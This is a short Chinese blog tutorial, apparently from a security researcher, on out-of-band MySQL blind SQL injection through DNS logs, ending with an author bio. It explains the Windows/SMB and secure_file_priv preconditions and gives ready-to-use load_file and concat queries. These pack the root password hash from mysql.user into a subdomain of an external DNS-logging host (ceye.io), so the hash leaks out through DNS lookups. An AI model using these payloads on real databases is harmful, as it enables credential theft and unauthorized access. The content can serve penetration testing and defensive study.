利用DNS日志进行MySQL盲注
0x01 技术原理
这里是利用load_file这个函数利用smb请求方式请求域名机器下的一个文件,由于计算机对该域名不熟悉所以需要优先请求DNS,所以我们通过DNS日志记录中的内容来获取回显。解决了盲注回显的问题,或者是时间注入判断的问题。
熟悉MySQL的人都知道,这个利用有几个要求或者说是限制条件
# 条件1
+ 1、由于基于SMB请求,需要在Windows环境下
# 条件2
+ 2、需要MySQL的配置支持,主要是这个配置需要为空
secure_file_priv
0x02 测试
0x02 - 01 简单的load权限查看
show global variables like '%secure%';
这里满足要求,如果不满足,可以在my.ini或者my.cnf等mysql服务的配置文件中修改[mysqld]项,需要加上如下这行:
secure_file_priv =
0x02 - 02 load一个域名下的文件试试看
select load_file('\\\\root.xxxxxx.ceye.io\\abc');
0x03 - 03 使用拼接函数,对我们想要获取的数据进行拼接
select concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234')
0x02 - 04
select load_file(concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234'));
博主简介:博主国内安全行业目前最强大的网络安全公司做技术研究员,常年做技术工作。 获得过以下全国竞赛大奖: 《中国电子作品大赛一等奖》 《云计算技术大赛一等奖》 《AIIA人工智能大赛优胜奖》《网络安全知识竞赛一等奖》 《高新技术个人突出贡献奖》,并参与《虚拟化技术-**保密**》一书编写,现已出版。还拥有多项专利,多项软件著作权! 且学习状态上进,立志做技术牛逼的人。座右铭:在路上,永远年轻,永远热泪盈眶。可邮件联系博主共同进步,个人邮箱:Mrli888@88.com